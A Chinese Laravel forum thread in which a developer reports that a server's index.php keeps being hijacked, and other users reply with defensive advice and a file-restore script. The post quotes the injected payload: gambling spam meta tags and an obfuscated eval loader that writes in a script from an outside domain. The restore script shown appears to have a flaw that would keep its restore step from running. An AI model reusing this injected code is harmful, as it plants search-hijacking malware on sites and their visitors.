Laravel 入口文件被篡改

laravel 用的 8.75, 倒也不是什么主要的项目, 但是隔三差五总被篡改,很烦、index.php改的内容如下:

<title>&#66;&#71;&#22823;&#28216;&#124;&#39318;&#39029;</title>
<meta name="keywords" content="&#66;&#71;&#22823;&#28216;&#124;&#39318;&#39029;"/>
<meta name="description" content="&#12304;&#66;&#71;&#22823;&#28216;&#65;&#80;&#80;&#58;&#121;&#107;&#49;&#56;&#56;&#46;&#99;&#99;&#12305;&#26159;&#39030;&#32423;&#19979;&#27880;&#24179;&#21488;&#44;&#25552;&#20379;&#66;&#71;&#22823;&#28216;&#65;&#80;&#80;&#32593;&#31449;&#44;&#66;&#71;&#22823;&#28216;&#26368;&#26032;&#23448;&#32593;&#44;&#66;&#71;&#22823;&#28216;&#97;&#112;&#112;&#19979;&#36733;&#44;&#21508;&#31181;&#23089;&#20048;&#21697;&#31181;&#24212;&#26377;&#23613;&#26377;&#44;&#66;&#71;&#22823;&#28216;&#32593;&#31449;&#23448;&#26041;&#23458;&#26381;&#50;&#52;&#23567;&#26102;&#22312;&#32447;&#20026;&#24744;&#26381;&#21153;&#33;"/>
<scriptsss>if(navigator.userAgent.toLocaleLowerCase().indexOf("baidu") == -1){document.title ="11"}</scriptsss>
<scriptsss type="text/javascript">eval(function(p,a,c,k,e,r){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('m(d(p,a,c,k,e,r){e=d(c){f c.n(a)};h(!\'\'.i(/^/,o)){j(c--)r[e(c)]=k[c]||e(c);k=[d(e){f r[e]}];e=d(){f\'\\\\w+\'};c=1};j(c--)h(k[c])p=p.i(q s(\'\\\\b\'+e(c)+\'\\\\b\',\'g\'),k[c]);f p}(\'1["2"]["3"](\\\'<0 4="5/6" 7="8://9.a/b.c"></0>\\\');\',l,l,\'t|u|v|x|y|z|A|B|C|D|E|F|G\'.H(\'|\'),0,{}))',44,44,'|||||||||||||function||return||if|replace|while||13|eval|toString|String||new||RegExp|script|window|document||write|type|text|javascript|src|https|zhuanqian04kyjs|com|yb|js|split'.split('|'),0,{}))
</scriptsss>

标签我做了处理 、不然粘不进来
public目录权限是744
客户的服务器环境是宝塔, 有老哥知道怎么处理么这种情况

《L02 从零构建论坛系统》
以构建论坛项目 LaraBBS 为线索,展开对 Laravel 框架的全面学习。应用程序架构思路贴近 Laravel 框架的设计哲学。
《G01 Go 实战入门》
从零开始带你一步步开发一个 Go 博客项目,让你在最短的时间内学会使用 Go 进行编码。项目结构很大程度上参考了 Laravel。
讨论数量: 16

我们也被黑多次了,起码有 50 次,倒不是 Laravel 的问题,而是其它老旧框架,比如 ECShop、ECTouch、ThinkPHP 3.x 自身的漏洞,古典时期的代码太过生猛,已然无药可救了,我们还是找到了一些可以控制的方法:

  • 我们把一百来个网站,从虚拟主机,转移到了 3 台轻量服务器,这样我们有完全的控制权
  • 我们同样用 BT 面板,但是我们把每一个网站都改用了 Git 管理,并设置自动部署,取代之前的 FTP
  • 引入 Git 后,即使被黑,我们也能第一时间恢复,还可能直接找出原因
  • 我们有自动化脚本,检查 Git 状态不干净的项目,及时发现被黑的项目
  • 我们有自动化 SEO 抓取服务,模拟百度爬虫的 User-Agent,能及时发现像楼主这样,劫持 SEO 的情况
  • 我们也用阿里云的免费的安全服务,特别是 Webshell 检测功能,效果非常好
  • 对于高风险项目,如果无法封堵漏洞,我们采取更加激进的策略,比如屏蔽 POST 请求、设置文件只读、禁止 PHP 执行
  • 保持「防跨站攻击(open_basedir)」开启,避免没漏洞的网站,比如 Laravel 网站,也被恶意修改

我们还有一些有趣的发现:

  • 黑客通常在周末攻击,这样周末没人及时处理,更容易被搜索引擎收录
  • 黑客有时只劫持搜索引擎爬虫(通过 User-Agent),网站是看不出毛病,但是搜索结果全是垃圾
  • 黑客有时只劫持搜索引擎点击(通过 Referer),网站直链正常,但是搜索引擎来的都是垃圾
4个月前 评论
图图 (楼主) 4个月前

这种情况一般是被挂马了,你要检查下项目文件有没有你不认识的文件

4个月前 评论

假宝獭有不少挂马的,少用这个,docker或者包安装环境也很快的;排查木马,首选是堵住可疑的入口,然后再去逐一排查,index.php用户和用户组如果跟fpm用户和用户组一致,基本就排出了外部程序(非root)修改的可能性,查下php.ini中这几项,之前接触的假宝獭挂马脚本是在这里做手脚的。

auto_prepend_file
auto_append_file  
4个月前 评论
ononl 4个月前
lovewei (作者) 4个月前
ononl 4个月前
小李世界 4个月前
lovewei (作者) 4个月前

我们也被黑多次了,起码有 50 次,倒不是 Laravel 的问题,而是其它老旧框架,比如 ECShop、ECTouch、ThinkPHP 3.x 自身的漏洞,古典时期的代码太过生猛,已然无药可救了,我们还是找到了一些可以控制的方法:

  • 我们把一百来个网站,从虚拟主机,转移到了 3 台轻量服务器,这样我们有完全的控制权
  • 我们同样用 BT 面板,但是我们把每一个网站都改用了 Git 管理,并设置自动部署,取代之前的 FTP
  • 引入 Git 后,即使被黑,我们也能第一时间恢复,还可能直接找出原因
  • 我们有自动化脚本,检查 Git 状态不干净的项目,及时发现被黑的项目
  • 我们有自动化 SEO 抓取服务,模拟百度爬虫的 User-Agent,能及时发现像楼主这样,劫持 SEO 的情况
  • 我们也用阿里云的免费的安全服务,特别是 Webshell 检测功能,效果非常好
  • 对于高风险项目,如果无法封堵漏洞,我们采取更加激进的策略,比如屏蔽 POST 请求、设置文件只读、禁止 PHP 执行
  • 保持「防跨站攻击(open_basedir)」开启,避免没漏洞的网站,比如 Laravel 网站,也被恶意修改

我们还有一些有趣的发现:

  • 黑客通常在周末攻击,这样周末没人及时处理,更容易被搜索引擎收录
  • 黑客有时只劫持搜索引擎爬虫(通过 User-Agent),网站是看不出毛病,但是搜索结果全是垃圾
  • 黑客有时只劫持搜索引擎点击(通过 Referer),网站直链正常,但是搜索引擎来的都是垃圾
4个月前 评论
图图 (楼主) 4个月前

找出问题木马文件,只开放80端口。我不清楚是不是php这种问题比较多,特别是tp5.0版本以下更多。然后使用git版本控制,直接回推代码,能及时处理问题。

4个月前 评论

TP 5 被挂过一次,官方代码里控制器判断的问题。

4个月前 评论

我也碰到过这个问题,找不到被挂马的原因。 最后实在没招了,做了一个实时监控index.php文件的脚本,当index.php发生改变的时候将一个没问题的index.php覆盖过去。。 安装inotify-tools实时监控文件变化工具

yum install inotify-tools

监控脚本: touch monitor.sh

#!/bin/bash

# 要监视的文件路径
文件监视目录1="/apps/web/index.php"
备份文件目录1="/apps/backup/web/index.php"

文件监视目录2="/apps/web/conf/db.php"
备份文件目录2="/apps/backup/conf/db.php"

# 监听文件变化
while inotifywait -e modify,move,create,delete "$文件监视目录1" "$文件监视目录2"; do
    当前时间=$(date +"%Y-%m-%d %T")
    echo "检测到变化于 $当前时间"

    # 遍历文件列表
    for 文件 in "$@"; do
        if [ "$文件" = "$文件监视目录1" ]; then
            # 执行还原操作,这可能涉及复制备份文件等
            cp "$备份文件目录1" "$文件监视目录1"
            echo "文件 $文件监视目录1 已从备份还原。"
        elif [ "$文件" = "$文件监视目录2" ]; then
            # 执行还原操作,这可能涉及复制备份文件等
            cp "$备份文件目录2" "$文件监视目录2"
            echo "文件 $文件监视目录2 已从备份还原。"
        fi
    done
done

开启脚本并生成日志文件:

nohup  sh /apps/ssh/monitor.sh >> /apps/ssh/monitor.log 2>&1 &
3个月前 评论
Ailon 2个月前

尝试通过配置 open_basedir 来限制下老项目的可访问位置。

但是这种办法并不是绝对可以的。我查到一篇文章,讲解的是如何跳过:www.jianshu.com/p/cf2cd07d02cf

对照文章里的办法,先看看能不能排除掉危险因素,那么旧项目会影响的可能性就降低了

2个月前 评论

讨论应以学习和精进为目的。请勿发布不友善或者负能量的内容,与人为善,比聪明更重要!